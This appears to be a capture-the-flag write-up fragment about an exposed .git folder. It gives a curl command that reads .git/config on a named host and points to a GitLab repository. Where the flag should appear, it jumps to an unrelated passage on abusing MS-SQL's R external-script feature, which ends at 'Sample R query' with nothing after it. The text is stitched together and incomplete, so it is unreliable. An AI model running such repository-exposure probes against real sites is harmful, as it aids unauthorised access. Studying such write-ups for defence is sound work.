-- challenge 1:
From the name of the challenge it was a dead giveway that there was a .git folder exposed.

Then just find out where the git repo is hosted:
curl http://0x70.apl3b.com/.git/config

And get the repo hosting service:
https://gitlab.com/DDuarte/twipy.git

Finally check all the commits and on this one at the bottom of the page you can read a flag:

Starting with MS-SQL 2016 MS has allowed for the inclusion of the Microsoft R Server services, permitting the execution of R scripts in the MS-SQL environment. In order for this funcitonality to be enabled, the R services for SQL server component must be installed, the server must be reconfigured to permit sp_exectue_external_script, and a user must be granted the 'EXECUTE ANY EXTERNAL SCRIPT' permission; yes, all of this is becoming increasingly more common.
 
Once these conditions are in place, SQL users will have R capabilities in their queries through the use of sp_execute_external_script().
 
This can be 'fun'..
 
Sample R query in MS-SQL (from MSDN):
